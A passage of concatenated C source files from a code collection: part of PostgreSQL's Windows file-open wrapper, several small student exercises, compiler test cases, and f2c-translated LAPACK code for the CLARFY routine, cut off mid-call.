openFlagsToCreateFileFlags(fileFlags), FILE_ATTRIBUTE_NORMAL | ((fileFlags & O_RANDOM) ? FILE_FLAG_RANDOM_ACCESS : 0) | ((fileFlags & O_SEQUENTIAL) ? FILE_FLAG_SEQUENTIAL_SCAN : 0) | ((fileFlags & _O_SHORT_LIVED) ? FILE_ATTRIBUTE_TEMPORARY : 0) | ((fileFlags & O_TEMPORARY) ? FILE_FLAG_DELETE_ON_CLOSE : 0) | ((fileFlags & O_DIRECT) ? FILE_FLAG_NO_BUFFERING : 0) | ((fileFlags & O_DSYNC) ? FILE_FLAG_WRITE_THROUGH : 0), NULL)) == INVALID_HANDLE_VALUE) { /* * Sharing violation or locking error can indicate antivirus, backup * or similar software that's locking the file. Try again for 30 * seconds before giving up. */ DWORD err = GetLastError(); if (err == ERROR_SHARING_VIOLATION || err == ERROR_LOCK_VIOLATION) { pg_usleep(100000); loops++; #ifndef FRONTEND if (loops == 50) ereport(LOG, (errmsg("could not open file \"%s\": %s", fileName, (err == ERROR_SHARING_VIOLATION) ? _("sharing violation") : _("lock violation")), errdetail("Continuing to retry for 30 seconds."), errhint("You might have antivirus, backup, or similar software interfering with the database system."))); #endif if (loops < 300) continue; } _dosmaperr(err); return -1; } /* _open_osfhandle will, on error, set errno accordingly */ if ((fd = _open_osfhandle((intptr_t) h, fileFlags & O_APPEND)) < 0) CloseHandle(h); /* will not affect errno */ else if (fileFlags & (O_TEXT | O_BINARY) && _setmode(fd, fileFlags & (O_TEXT | O_BINARY)) < 0) { _close(fd); return -1; } return fd; } FILE * pgwin32_fopen(const char *fileName, const char *mode) { int openmode = 0; int fd; if (strstr(mode, "r+")) openmode |= O_RDWR; else if (strchr(mode, 'r')) openmode |= O_RDONLY; if (strstr(mode, "w+")) openmode |= O_RDWR | O_CREAT | O_TRUNC; else if (strchr(mode, 'w')) openmode |= O_WRONLY | O_CREAT | O_TRUNC; if (strchr(mode, 'a')) openmode |= O_WRONLY | O_CREAT | O_APPEND; if (strchr(mode, 'b')) openmode |= O_BINARY; if (strchr(mode, 't')) openmode |= O_TEXT; fd = pgwin32_open(fileName, openmode); if (fd == -1) return NULL; return _fdopen(fd, mode); } #endif
the_stack_data/131138.c
#include <stdio.h> int main(void){ int x,y,tot=0,ch; scanf("%d%d",&x,&y); while((ch=getchar())!=EOF) if(ch=='*') tot++; if(tot==0) printf("xiaowangcai!\n"); else if(tot<=6000) printf("%d\n",tot); else printf("6000\n"); return 0; }
the_stack_data/39489.c
/* hello_fork.c */ #include <errno.h> #include <unistd.h> #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> int main(void){ pid_t pid; printf("hello_fork! (PID=%lu)\n",(unsigned long)getpid()); pid=fork(); switch(pid){ case -1: perror("fork"); return 1; case 0: printf("potomek: PID=%lu\n",(unsigned long)getpid()); sleep(5); printf("potomek kończy\n"); return 0; default: printf("rodzic: PID=%lu\n\n",(unsigned long)getpid()); if(wait(NULL)<0) perror("wait"); printf("KONIEC\n"); return 0; } }
the_stack_data/153269445.c
#include<stdio.h> #include<stdlib.h> #include <math.h> //define a new data structure called 'point' typedef struct { float x; float y; float z; } point; //we can pass this structure to functions and access it's sub-variables void pointPrintPoint(point p) { printf("Point has coordinates (%f,%f,%f) \n", p.x,p.y,p.z); } //if we want to alter the structure inside a function, we need to pass its pointer void pointSetZero(point *p) { //(*p).x = 0.; //(*p).y = 0.; //(*p).z = 0.; //also valid //point pp = *p; //pp.x = 0.; //pp.y = 0.; //pp.z = 0.; //and so is this. -> is a kind of shift+dereferance operator p->x = 0.; p->y = 0.; p->z = 0.; } float pointDistanceToOrigin(point p) { float dist = sqrt(p.x*p.x+p.y*p.y+p.z*p.z); return dist; } void main() { //we can declare this new structure like any other variable point p; //access variables in stucture with '.' p.x = 1.0; p.y = 2.0; p.z = 3.0; float dist; //we can pass it to a function and return a value dist = pointDistanceToOrigin(p); printf("dist = %f\n",dist); //we pass its pointer so we can change it pointSetZero(&p); pointPrintPoint(p); }
the_stack_data/248580132.c
/* Exercise 1 - Calculations Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */ #include <stdio.h> int main() { printf("hello world"); return 0; }
the_stack_data/173577016.c
#include <stdio.h> int main () { int n [10]; int i; int x; x = 0; i = 0; while(i<10){ n[i] = ((((i+1)*i)+3)*2); i = i + 1; } printf("%10s%11s\n", "Elemento", "Valor"); /*dps do % o numero serve para configurar a posição aonde será impresso no programa*/ for( i=0; i<10; i++){ printf("%7d%13d\n", i, n[i]); } printf("%10s", "Total: ---->"); /*s é para char*/ for(i=0;i<10;i++){ x += n[i]; } printf("%6d\n", x); return 0; }
the_stack_data/86074745.c
/* PR 36513: -Wlogical-op warns about strchr */ /* { dg-do compile } */ /* { dg-options "-Wlogical-op" } */ extern void *__rawmemchr (const void *__s, int __c); int main1 () { char *s, t; (__extension__ (__builtin_constant_p (t) && !__builtin_constant_p (s) && (t) == '\0' ? (char *) __rawmemchr (s, t) : __builtin_strchr (s, t))); return 0; }
the_stack_data/178266468.c
#define ABC abc #undef ABC #define DEF def #undef DEF #define DEF xyz #define NYDEF ydef #define STRING(x) #x #define CONCAT(x,y) x ## y #define unlocks(...) annotate(unlock_func(__VA_ARGS__)) #define apply(x,...) x(__VA_ARGS__) int main(int argc, char *argv[]) { return 0; } /* * check-name: dump-macros only -dM * check-command: sparse -E -dM -DIJK=ijk -UNDEF -UNYDEF $file * * check-output-ignore check-output-pattern(1): #define __CHECKER__ 1 check-output-contains: #define IJK ijk check-output-contains: #define DEF xyz check-output-contains: #define NYDEF ydef check-output-contains: #define STRING(x) #x check-output-contains: #define CONCAT(x,y) x ## y check-output-contains: #define unlocks(...) annotate(unlock_func(__VA_ARGS__)) check-output-contains: #define apply(x,...) x(__VA_ARGS__) check-output-excludes: int main(int argc, char \\*argv\\[\\]) check-output-excludes: ^\\[^#] */
the_stack_data/184517448.c
#include <stdio.h> #define SIZE 10 typedef struct subway_s{ int number; char URL[101]; }subway_t; int main(){ int n; scanf("%d", &n); n++; for(int Case = 1; Case < n; Case++){ printf("Case #%d:\n", Case); int max = -1; subway_t list[SIZE]; for(int data = 0; data < SIZE; data++){ scanf("%s%d", list[data].URL, &list[data]); if(list[data].number > max)max = list[data].number; } for(int i = 0; i < SIZE; i++) if(list[i].number == max) puts(list[i].URL); } }
the_stack_data/109732.c
#include<stdio.h> int main(){ int a,b,c,d; scanf("%d %d %d %d",&a,&b,&c,&d); if(b>c && d>a && ((c+d) >(a+b)) && c>=0 && d>=0 ){ printf("Valores aceitos\n"); }else{ printf("Valores nao aceitos\n"); } return 0; }
the_stack_data/1117898.c
/**********************************************************************\ * Kurzbeschreibung: Uebung: 8.2.1; Punkte: 0 * * Datum: Autor: Grund der Aenderung: * 10.04.2017 Andreas Pazureck Neuerstellung \**********************************************************************/ #include <stdio.h> #include <math.h> /*--- Funktionsdefinitionen ------------------------------------------*/ int main(void) { unsigned int k1, k2, k3, k4, total; printf("Stimmen fuer den 1. Kandidat: "); scanf("%u", &k1); printf("Stimmen fuer den 2. Kandidat: "); scanf("%u", &k2); printf("Stimmen fuer den 3. Kandidat: "); scanf("%u", &k3); printf("Stimmen fuer den 4. Kandidat: "); scanf("%u", &k4); total = k1 + k2 + k3 + k4; double var = k1; printf("1. Kandidat: %.2lf%%\n", (double)k1 / total * 100); printf("1. Kandidat: %.2lf%%\n", (double)k2 / total * 100); printf("1. Kandidat: %.2lf%%\n", (double)k3 / total * 100); printf("1. Kandidat: %.2lf%%\n", (double)k4 / total * 100); fflush(stdin); getchar(); return 0; }
the_stack_data/190768199.c
/* ACM 11727 Cost Cutting * mythnc * 2012/01/09 10:24:42 * run time: 0.004 */ #include <stdio.h> #define MAXP 3 int cmp(const void *, const void *); int main(void) { int i, n; int list[MAXP]; scanf("%d", &n); for (i = 1; i <= n; i++) { scanf("%d %d %d", list, list + 1, list + 2); qsort(list, MAXP, sizeof(int), cmp); printf("Case %d: %d\n", i, list[1]); } return 0; } /* cmp: for qsort() */ int cmp(const void *a, const void *b) { return *(int *)a - *(int *)b; }
the_stack_data/686904.c
#include<stdio.h> /* You are given two 32-bit numbers, N and M, and two bit positions, i and j Write a method to set all bits between i and j in N equal to M (e g , M becomes a substring of N located at i and starting at j) SOLUTION EXAMPLE: Input: N = 10000000000, M = 10101, i = 2, j = 6 Output: N = 10001010100 */ int main() { short N,M,i,j; printf("Enter the value of N\n"); scanf("%d",&N); printf("Enter the value of M\n"); scanf("%d",&M); printf("Enter the value of i\n"); scanf("%d",&i); printf("Enter the value of j\n"); scanf("%d",&j); int mask; mask = ~0; printf("%d\n",mask); mask = mask<<(32-j); printf("%d\n",mask); mask = mask>>(32-j); printf("%d\n",mask); mask = mask >> i; printf("%d\n",mask); mask = mask<<i; printf("%d\n",mask); mask = ~0^mask; printf("%d\n",mask); N= N&mask; N= N|(M<<i); printf("\n%d",N); }
the_stack_data/145452760.c
/*- * Copyright (c) 1980 The Regents of the University of California. * All rights reserved. * * %sccs.include.proprietary.c% */ #ifndef lint static char sccsid[] = "@(#)dbesy1_.c 5.2 (Berkeley) 04/12/91"; #endif /* not lint */ double y1(); double dbesy1_(x) double *x; { return(y1(*x)); }
the_stack_data/122014834.c
#include <stdio.h> int main () { int var = 20; // Exercise tasks // 1 Create a pointer variable that stores the address of var // 2 Print out the address of var using &var // 3 Print out the value stored in your pointer, ensure it is the same as the address from &var // 4 Print out the value of var // 5 Print out the value your pointer is pointing to using the * redirector // 6 After your printfs change the value stored in var using var = and output the four printfs from 2-6 again. // 7 Now change the value using your pointer and the * redirection. Again output the four printfs after to see what has changed. return 0; }
the_stack_data/234517612.c
#include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; #ifdef _MSC_VER static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;} static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;} static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;} static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;} #else static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #endif #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #ifdef _MSC_VER #define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);} #define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/df(b)._Val[1]);} #else #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #endif #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimagf(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #ifdef _MSC_VER static _Fcomplex cpow_ui(complex x, integer n) { complex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i; for(u = n; ; ) { if(u & 01) pow.r *= x.r, pow.i *= x.i; if(u >>= 1) x.r *= x.r, x.i *= x.i; else break; } } _Fcomplex p={pow.r, pow.i}; return p; } #else static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif #ifdef _MSC_VER static _Dcomplex zpow_ui(_Dcomplex x, integer n) { _Dcomplex pow={1.0,0.0}; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1]; for(u = n; ; ) { if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1]; if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1]; else break; } } _Dcomplex p = {pow._Val[0], pow._Val[1]}; return p; } #else static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } #endif static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Fcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0]; zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cf(&x[i*incx])._Val[0] * Cf(&y[i*incy])._Val[0]; zdotc._Val[1] += Cf(&x[i*incx])._Val[1] * Cf(&y[i*incy])._Val[1]; } } pCf(z) = zdotc; } #else _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } #endif static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; #ifdef _MSC_VER _Dcomplex zdotc = {0.0, 0.0}; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i])._Val[0] * Cd(&y[i])._Val[0]; zdotc._Val[1] += Cd(&x[i])._Val[1] * Cd(&y[i])._Val[1]; } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc._Val[0] += Cd(&x[i*incx])._Val[0] * Cd(&y[i*incy])._Val[0]; zdotc._Val[1] += Cd(&x[i*incx])._Val[1] * Cd(&y[i*incy])._Val[1]; } } pCd(z) = zdotc; } #else _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* Table of constant values */ static complex c_b1 = {1.f,0.f}; static complex c_b2 = {0.f,0.f}; static integer c__1 = 1; /* > \brief \b CLARFY */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* Definition: */ /* =========== */ /* SUBROUTINE CLARFY( UPLO, N, V, INCV, TAU, C, LDC, WORK ) */ /* CHARACTER UPLO */ /* INTEGER INCV, LDC, N */ /* COMPLEX TAU */ /* COMPLEX C( LDC, * ), V( * ), WORK( * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > CLARFY applies an elementary reflector, or Householder matrix, H, */ /* > to an n x n Hermitian matrix C, from both the left and the right. */ /* > */ /* > H is represented in the form */ /* > */ /* > H = I - tau * v * v' */ /* > */ /* > where tau is a scalar and v is a vector. */ /* > */ /* > If tau is zero, then H is taken to be the unit matrix. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] UPLO */ /* > \verbatim */ /* > UPLO is CHARACTER*1 */ /* > Specifies whether the upper or lower triangular part of the */ /* > Hermitian matrix C is stored. */ /* > = 'U': Upper triangle */ /* > = 'L': Lower triangle */ /* > \endverbatim */ /* > */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The number of rows and columns of the matrix C. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in] V */ /* > \verbatim */ /* > V is COMPLEX array, dimension */ /* > (1 + (N-1)*abs(INCV)) */ /* > The vector v as described above. */ /* > \endverbatim */ /* > */ /* > \param[in] INCV */ /* > \verbatim */ /* > INCV is INTEGER */ /* > The increment between successive elements of v. INCV must */ /* > not be zero. */ /* > \endverbatim */ /* > */ /* > \param[in] TAU */ /* > \verbatim */ /* > TAU is COMPLEX */ /* > The value tau as described above. */ /* > \endverbatim */ /* > */ /* > \param[in,out] C */ /* > \verbatim */ /* > C is COMPLEX array, dimension (LDC, N) */ /* > On entry, the matrix C. */ /* > On exit, C is overwritten by H * C * H'. */ /* > \endverbatim */ /* > */ /* > \param[in] LDC */ /* > \verbatim */ /* > LDC is INTEGER */ /* > The leading dimension of the array C. LDC >= f2cmax( 1, N ). */ /* > \endverbatim */ /* > */ /* > \param[out] WORK */ /* > \verbatim */ /* > WORK is COMPLEX array, dimension (N) */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup complexOTHERauxiliary */ /* ===================================================================== */ /* Subroutine */ int clarfy_(char *uplo, integer *n, complex *v, integer * incv, complex *tau, complex *c__, integer *ldc, complex *work) { /* System generated locals */ integer c_dim1, c_offset; complex q__1, q__2, q__3, q__4; /* Local variables */ extern /* Subroutine */ int cher2_(char *, integer *, complex *, complex * , integer *, complex *, integer *, complex *, integer *); complex alpha; extern /* Complex */ VOID cdotc_(complex *, integer *, complex *, integer *, complex *, integer *); extern /* Subroutine */ int chemv_(char *, integer *, complex *, complex * , integer *, complex *, integer *, complex *, complex *, integer * ), caxpy_(integer *, complex *, complex *, integer *, complex *, integer *); /* -- LAPACK test routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Parameter adjustments */ --v; c_dim1 = *ldc; c_offset = 1 + c_dim1 * 1; c__ -= c_offset; --work; /* Function Body */ if (tau->r == 0.f && tau->i == 0.f) { return 0; } /* Form w:= C * v */ chemv_(uplo, n, &c_b1, &c__[c_offset], ldc, &v[1], incv, &c_b2, &work[1], &c__1); q__3.r = -.5f, q__3.i = 0.f; q__2.r = q__3.r * tau->r - q__3.i * tau->i, q__2.i = q__3.r * tau->i + q__3.i * tau->r; cdotc_(&q__4, n, &work[1], &c__1, &v[1], incv); q__1.r = q__2.r * q__4.r - q__2.i * q__4.i, q__1.i = q__2.r * q__4.i + q__2.i * q__4.r; alpha.r = q__1.r, alpha.i = q__1.i; caxpy_(n, &alpha, &v[1], incv, &work[1], &c__1); /* C := C - v * w' - w * v' */ q__1.r = -tau->r, q__1.i = -tau->i; cher2_(uplo, n, &q__1, &v[1], incv, &work[1], 